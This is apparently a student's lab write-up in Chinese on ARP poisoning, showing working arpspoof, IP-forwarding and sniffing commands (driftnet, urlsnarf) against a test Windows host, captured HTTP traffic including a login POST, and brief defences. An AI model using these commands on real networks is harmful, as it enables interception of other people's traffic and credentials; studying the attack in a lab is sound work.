ARP 投毒攻擊與防禦
其實這是計網的作業....
參考文章
https://www.zhihu.com/question/23401171
https://www.anquanke.com/post/id/151762
ARP 是如何運作的
TODO
ARP 攻擊實戰
環境
攻擊主機A:Kali Raspberry —> ip: 192.168.31.219
被攻擊主機B: windows 10—>ip: 192.168.31.102
1.資訊收集
nmap -sF 192.168.11.0/24
掃描結果如下,我們可憐的靶機就給掃到了
root@kali:~/Desktop# nmap -sF 192.168.31.0/24 ... Nmap scan report for 192.168.31.219 Host is up (0.095s latency). All 1000 scanned ports on 192.168.31.219 are open|filtered MAC Address: AC:2B:6E:9E:67:27 (Intel Corporate) ... Nmap scan report for 192.168.31.219
登上路由器的網站,確實如此


2. 利用Arpspoof進行欺騙攻擊
Kali自帶的Arpspoof可以很好的進行欺騙,man arpspoof檢視官網手冊(網上翻譯):
名字 arpspoof # 截獲交換區域網中的資料包 用法 arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host 描述 # arpspoof通過偽造的ARP響應包改變區域網中從目標主機(或所有主機)到另一個主機(host)的資料包轉發路徑。這是交換區域網中嗅探網路流量的一種極為有效的方法。核心IP轉發(或如fragrouter這樣的、使用者層面的、能完成同樣功能的軟體)必須提前開啟。 引數 -i interface # 指定要使用的介面(即指定一塊網絡卡) -c own|host|both # 指定在恢復ARP配置時使用的硬體地址;當在清理(cleaning up)時,資料包的源地址可以用自己的也可以用主機(host)的硬體地址。使用偽造的硬體地址可能導致某些配置下的交換網路、AP網路或橋接網路通訊中斷,然而它比起預設值————使用自己的硬體地址要工作地更為可靠。 -t target # 指定一個特殊的、將被ARP毒化的主機(如果沒有指定,則認為是區域網中所有主機)。重複可以指定多個主機。 -r # 毒化兩個主機(目標和主機(host))以捕獲兩個方向的網路流量。(僅僅在和-t引數一起使用時有效) host#你想要截獲資料包的主機 (通常是閘道器)。
在開始攻擊前,我們開啟wireshark來捕獲一下樹莓派發來的arp流量
3. 主機A作為閘道器主機欺騙
arpspoof -i wlan0 -t 192.168.11.105 192.168.1.1
執行命令,Kali會向主機B傳送ARP響應包,響應包的內容是Kali的ip-mac地址,而響應包裡的ip則是閘道器主機ip地址。每一行代表一個響應包。從左到右:自己Kali的mac、主機B的mac、幀型別碼(0806,代表ARP包)、包大小、包內容。
4. 分析arp流量

在上面,是樹莓派發送的arp流量,在不斷的告訴靶機,閘道器在我這裡。此時,我們可憐的靶機已經上不了網了。
5. arp中間人攻擊
值得一提的是,我們的Arp攻擊也是欺騙,但它是單向欺騙,冒充閘道器主機來欺騙目標主機。實際中,中間人攻擊一般是雙向欺騙。即作為中間人,主機A雙向欺騙主機B與C獲得通訊內容,但是不破壞通訊資料的傳輸。為了不影響B與C傳輸的資料丟失,主機A開啟ip轉發,開啟後來自B主機的資料包經過A主機的Kali後轉發給主機C。欺騙兩個主機B和C後,我們就能嗅探到雙向資料包。
linux的ip轉發
linux因為系統安全,是不支援IP轉發的,其配置檔案寫在/proc/sys/net/ipv4的ip_forward中。預設為0,需要修改為1。
echo"1"> /proc/sys/net/ipv4/ip_forward arpspoof -i wlan0 -t 192.168.31.102 -r 192.168.31.1
在設定了路由轉發後,我們發現 payload是成對出現的。首先告訴靶機。閘道器在我這裡,然後再將流量從我這裡轉發出去。
6. 截獲流量
現在,靶機的流量都轉發到了樹莓派的wlan0網絡卡上,我們可以用tcpdump wireshark等工具進行截獲。
除此之外,還有兩個工具也值得一提
- driftnet 截獲圖片【忘了截圖】
root@kali:~# driftnet -i wlan0
- urlsnarf 獲得受害者的HTTP請求
root@kali:~# urlsnarf -i wlan0
在流量轉發之後,任然可以正常上網的。我在靶機上發起了HTTP請求,可以看到已經被截獲了。
root@kali:/proc/sys/net/ipv4# urlsnarf -i wlan0 urlsnarf: listening on wlan0 [tcp port 80 or port 8080 or port 3128] 192.168.31.102 - - [15/Sep/2018:13:55:06 +0000] "GET http://shaobaobaoer.cn/ HTTP/1.1" - - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36" 192.168.31.102 - - [15/Sep/2018:13:55:15 +0000] "GET http://shaobaobaoer.cn/wp-content/themes/1502711402-301300048/img/logo.png HTTP/1.1" - - "http://shaobaobaoer.cn/wp-login.php?redirect_to=http%3A%2F%2Fshaobaobaoer.cn%2Fwp-admin%2F&reauth=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36" 192.168.31.102 - - [15/Sep/2018:13:55:19 +0000] "POST http://shaobaobaoer.cn/wp-login.php HTTP/1.1" - - "http://shaobaobaoer.cn/wp-login.php?redirect_to=http%3A%2F%2Fshaobaobaoer.cn%2Fwp-admin%2F&reauth=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
-
wireshark 截獲流量
可以看到,成功截獲了靶機的上網請求。
ARP 攻擊的防範
小型區域網防禦
防禦原理很簡單,就是不讓攻擊者肆意表明自己就是閘道器主機。我們進入閘道器主機(路由器後臺地址),網路引數一欄一般有ip與mac繫結一欄,把閘道器的mac地址與閘道器地址繫結就好了。只要確定了對應關係,當攻擊者釋出arp相應包時,就不會更新相應的ip-mac快取表。
另外知道攻擊者的MAC和IP地址也很簡單。利用 arp -a 命令,當找到有兩個IP/MAC地址相同並且不是以.1結尾的時候,就是被ARP投毒了。(這裡用一下別人的圖)
中大型區域網防禦
在中大型區域網中,很明顯設定靜態MAC地址是不可能的。
TODO